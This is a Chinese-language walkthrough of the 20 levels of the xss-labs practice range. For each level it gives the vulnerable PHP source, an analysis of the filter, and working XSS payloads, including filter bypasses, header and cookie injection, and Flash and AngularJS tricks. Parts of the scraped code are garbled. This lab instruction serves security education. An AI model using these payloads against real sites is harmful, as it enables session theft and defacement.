xss-labs靶场全通关

xss-labs靶场全通关

  • 前言
  • level 1
  • level 2
  • level 3
  • level 4
  • level 5
  • level 6
  • level 7
  • level 8
  • level 9
  • level 10
  • level 11
  • level 12
  • level 13
  • level 14
  • level 15
  • level 16
  • level 17
  • level 18
  • level 19
  • level 20


前言

所用的xss-labs靶场的项目地址:https://github.com/do0dl3/xss-labs 在这里关于 如何搭建靶场的就不再赘述了,可以在本地用phpstudy来搭建的。建议使用火狐浏 览器,访问http://ip/xss-labs
xss-labs靶场全通关_第1张图片

点击图片开始你的xss之旅吧!


level 1

xss-labs靶场全通关_第2张图片

源码:

<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "

欢迎用户".$str."

"
; ?> <center><img src=level1.png></center> <?php echo "

payload的长度:".strlen($str)."

"
; ?> </body>

分析:没有做任何过滤

 payload为:name=<script>alert(/xss/)</script>

level 2

xss-labs靶场全通关_第3张图片

源码:

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜索"/> </form> </center>'; ?> <center><img src=level2.png></center>

分析:有两处输出,第一处在PHP代码块的echo中输出,第二处在表单input中输出,第 一处用htmlspeciachars()做了转义,第二处并没有做限制,让payload在第二处起效果就 好,有2种方法。
1.不逃逸input标签闭合前边的双引号加个事件触发xss即可:

移动下鼠标即可触发payload为: " line-height: 160%; box-sizing: content-box;"> 点击输入框即可触发payload为: " line-height: 160%; box-sizing: content-box;"> 击输入框即可触发payload为: " οnfοcus="alert(/xss/)

2.逃逸出input标签执行另外的标签触发xss即可:

<img>标签payload为:"><img src=! ><img>标签payload为:">:alert(/xss/)"> //浏览器可能会 过滤这个<a>标签payload为:"><a >xss</a><a>标签payload为:<a >xss</a> // 移动鼠标至框内

level 3

xss-labs靶场全通关_第4张图片

源码:

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 /> </form> </center>"; ?> <center><img src=level3.png></center>

分析:这次它将两个输出点都做了htmlspecialchars()转义,那既然做了转义那么双引号和 尖括号就没有效果了,但是单引号在这个函数中如果没做特殊的改动,默认是可以出效果 的,而且源码中的value是用单引号,看来是有意让使用单引号。

payload为:' οnmοuseοver='alert(/xss/) //其他payload省略

level 4

xss-labs靶场全通关_第5张图片

源码:

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>

分析:这里的俩个输出点,一个被转义,另外一个将尖括号替换为空,但是这并不影响 啊,按照上两题的套路,虽然不能闭合标签,单照样可以在input标签里边出发xss的

payload为:" οnmοuseοver="alert(/xss/) //鼠标点击输入框出发,其他payload 省略

level 5

xss-labs靶场全通关_第6张图片

源码:

<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace(",",$str);
$str3=str_replace("on","o_n",$str2);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>

分析:貌似还是和前几题差不多只是将

payload为:"><a >xss</a>

level 6

xss-labs靶场全通关_第7张图片

源码:

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(",",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'<center> <form action=level6.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>

分析:代码中它还是进行了关键字过滤,但是没有了strtolow()函数,那么进行大小写绕过 即可:
1.在input标签中触发XSS:

payload为:" line-height: 160%; box-sizing: content-box;"> 2.跳出input标签触 发XSS: payload为:"><sCript>alert(/xss/)</sCript> //等等...

level 7

xss-labs靶场全通关_第8张图片

源码:

<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
str6=str_replace("href","",$str5);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str6.'">
'
; ?>

分析:这道题出题人似乎把上边遇到的缺陷都补充了,但是程序有意的将特殊字符替换成 空字符,这样可以采用补充撮合的方法达到XSS攻击效果。
1.在input标签中触发:

 payload为:" oonnmouseover="alert(/xss/) //等等...

2.跳出input标签触发:

   payload为:"><scscriptript>alert(/xss/)</scscriptript> //等等...

level 8

xss-labs靶场全通关_第9张图片

源码:

<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '
($str).'">
'
; ?><?php echo '

友情链接
'
; ?>

分析:这次代码先是将字符转换为小写,然后过滤特殊字符和双引号,最后又怕有漏网之 鱼加了一个转义函数输出,所以按常规方法绕几乎不可能成功,代码处的添加友情链接是 突破点,在input框中输入字符提交之后,在友情链接处会载入一个拼接后的a标签,因为 javascript被过滤对其进行编码绕过再点击友情链接即可。

payload为:javascript:alert(/xss/)

level 9

xss-labs靶场全通关_第10张图片

源码:

<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '
($str).'">
'
; ?> <?phpif(false===strpos($str7,'http://')) { echo '

友情链接
'
; } else { echo '

友情链接
'
; } ?>

分析:这次在上一题的基础上加入了strpos()函数,查找如果url中找到’http’那么会返回找 到位置的位数,自然不会返回0也就不会等于false,那么就可以绕过限制了,但是为什么会 这么做呢?回想了下,应该是让输入框必须要输入合法的URL即带有http的字符串,那么 可以向输入框加进去就可以绕过了。

payload为:javascript:alert(/xss/)//http://

level 10

xss-labs靶场全通关_第11张图片

源码

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
; ?

分析:这道题有俩个输出的地方,第一个被实体化过滤,第二个是隐藏表单的"t_sort"参数 即’$str33’,过滤了尖括号,那么就在input标签中触发xss即可,可以用onmouseover或者 是onclick,需要将隐藏表单显示出来触发:

payload为:url后加 &t_sort=xss" οnmοuseοver=alert(/xss/) type="text"
payload为:url后加 &t_sort=xss" onclick=alert(/xss/) type="text"

level 11

xss-labs靶场全通关_第12张图片

源码:

<body><h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'

分析:hidden隐藏了表单,str与str00都被做了转义,可以对输出的$str33写xss语句, burp抓包改referer即可

payload为:Referer: " οnmοuseοver=alert(/xss/) type="text

xss-labs靶场全通关_第13张图片

level 12

源码

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.'" type="hidden"> .'" type="hidden"> ($str00).'" type="hidden"> .$str33.'" type="hidden">
'
;>

分析:同上题原理,这次我改user-agent就可以了

payload为:User-Agent:" οnclick=alert(/xss/) type="text

xss-labs靶场全通关_第14张图片

level 13

xss-labs靶场全通关_第15张图片
源码

<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
; ?>

分析:同上,改cookie中的user即可

payload为:   " οnfοcus=alert(/xss/) type="text

xss-labs靶场全通关_第16张图片

level 14

源码

<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10
src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a    href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center>

这一关iframe调用的文件地址失效,已经无法测试了。
这里可以简单复现一下这种触发XSS的环境。
有些网站有读取图片exif(可交换图像文件格式英语:Exchangeable image file format, 官方简称Exif)信息的功能,当网站读取到的恶意的exif信息就会触发这个payload,是专 门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。可使用鼠标右键 进入属性页面查看部分信息。)我这里先创建一个exifxss.php的文件
然后在当前文件夹下面放一张名为404的正常图片,接着访问一下
http://ip/xss-labs/exifxss.php
xss-labs靶场全通关_第17张图片

可以看到将图片的exif信息都打印出来了。如果我们将图片的exif信息改成触发xss的 payload呐?

xss-labs靶场全通关_第18张图片

可以看到已经在图片的exif信息中插入了触发xss的payload了。接下来再次访问试试看
xss-labs靶场全通关_第19张图片

level 15

xss-labs靶场全通关_第20张图片

源码:

<html ng-app>
<head>
<meta charset="utf-8">
<script
src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"> </script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location. ;
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '';
?>

分析:通过第一行以及我们提交的参数src的值被插入到标签的class属性值中发现 这里用了angular js的ng-include,其作用相当于php的include函数。这里就是将1.gif这 个文件给包含进来。
此处用了ng-include指令的话,先了解一下其具体的用法。

1、ng-include 指令用于包含外部的 HTML文件。
2、包含的内容将作为指定元素的子节点。
3、ng-include属性的值可以是一个表达式,返回一个文件名。
4、默认情况下,包含的文件需要包含在同一个域名下。

特别值得注意的几点如下:

1.ng-include,如果单纯指定地址,必须要加引号
2.ng-include,加载外部html,script标签中的内容不执行
3.ng-include,加载外部html中含有style标签样式可以识别

既然这里可以包含html文件,那么也就可以包含之前有过xss漏洞的源文件

pyload为:'level1.php?name=<img src=1

xss-labs靶场全通关_第21张图片

level 16

xss-labs靶场全通关_第22张图片

源码:

<

?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","  ",$str);
$str3=str_replace(" ","  ",$str2);
$str4=str_replace("/","  ",$str3);
$str5=str_replace("     ","  ",$str4);
echo "
".$str5."
"
; ?> <center><img src=level16.png></center> <?php echo "

payload的长度:".strlen($str5)."

"
; ?>

分析:过滤不全面很好绕过

将参数值中的script替换成
将参数值中的空格也替换成
将参数值中的/符号替换成

可以用回车来将它们分开。

<img
src=111”
onmouseover=alert(‘xss’)
payload为:keyword<img%0Asrc=xss%0Donmouseover=alert('xss')>

xss-labs靶场全通关_第23张图片

level 17

xss-labs靶场全通关_第24张图片

源码:

<?php
ini_set("display_errors", 0);
echo "<embed
src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg width=100% heigth=100%>";
?>

分析:出的值都被做了实体化转义,无法闭合标签,但是问题在于本身embed标签可以加 入事件,可以在arg01,或者arg中加入事件去触发即可

payload:arg01=123%20onmouseover=alert('xss')&arg02=b

xss-labs靶场全通关_第25张图片

level 18

xss-labs靶场全通关_第26张图片

源码:

<?php
ini_set("display_errors", 0);
echo "<embed
src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg width=100% heigth=100%>";
?>

分析:用上一关的方法:

payload:arg01=123%20onmouseover=alert('xss')&arg02=b

xss-labs靶场全通关_第27张图片

level 19

xss-labs靶场全通关_第28张图片

源码:

<?php
ini_set("display_errors", 0);
echo '<embed
src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["ar width=100% heigth=100%>';
?>

分析:这一关开始是flash xss了,首先下载页面中的flash,对源码进行分析,我用的是 JPEXS这款工具,首先定位getURL函数

sIFR.menuItems.push(new ContextMenuItem("Followlink",function()
{
getURL(sIFR.instance.primaryLink,sIFR.instance.primaryLinkTarget); }),new ContextMenuItem("Open link in new window",function()
{
getURL(sIFR.instance.primaryLink,"_blank");}));
再追踪到sIFR的内容,省略了一些代码,关键代码如下:
if(_loc5_ && _root.version != sIFR.VERSION)
{
_loc4_ = sIFR.VERSION_WARNING.split("%s").join(_root.version);
}
得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL 只在内容为link 时,打开,故定位以下函数:
function contentIsLink()
{
return this.content.indexOf(") == 0 &&(this.content.indexOf(") ==this.content.lastIndexOf(") &&this.content.indexOf("") ==   this.content.length - 4);
}  //大体意思是要geturl得用a标签。
payload为:
arg01=version&arg02=%3Ca%20href=%22javascript:alert(%27xss%27)%22%3E111%3C/a%3E //点击传入进去的’111‘就可以触发XSS。

xss-labs靶场全通关_第29张图片

level 20

xss-labs靶场全通关_第30张图片

源码:

<?php
ini_set("display_errors", 0);
echo '<embed
src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["ar width=100% heigth=100%>';
?>

分析:可以看到此处依然是将我们提交的两个参数值插入到了标签的src属性值 中,并且这里还是引用了一个swf文件,但是唯一不同的是这里的swf文件在页面上并没有 显示出来。还是用JPEXS对xsf04.swf文件进行反编译
xss-labs靶场全通关_第31张图片

发现这是一个国内比较普遍的一个flash插件zeroclipboard.swf
可以参考freebuf文章http://www.freebuf.com/sectool/108568.html

payload为:
arg01=id&arg02=%22))}catch(e){(alert)
(/XSS/.source);}//%26width=500%26height=500

xss-labs靶场全通关_第32张图片

以上为xss-labs全通关学习!!!

你可能感兴趣的:(渗透测试,xss,php,服务器,web安全,网络安全)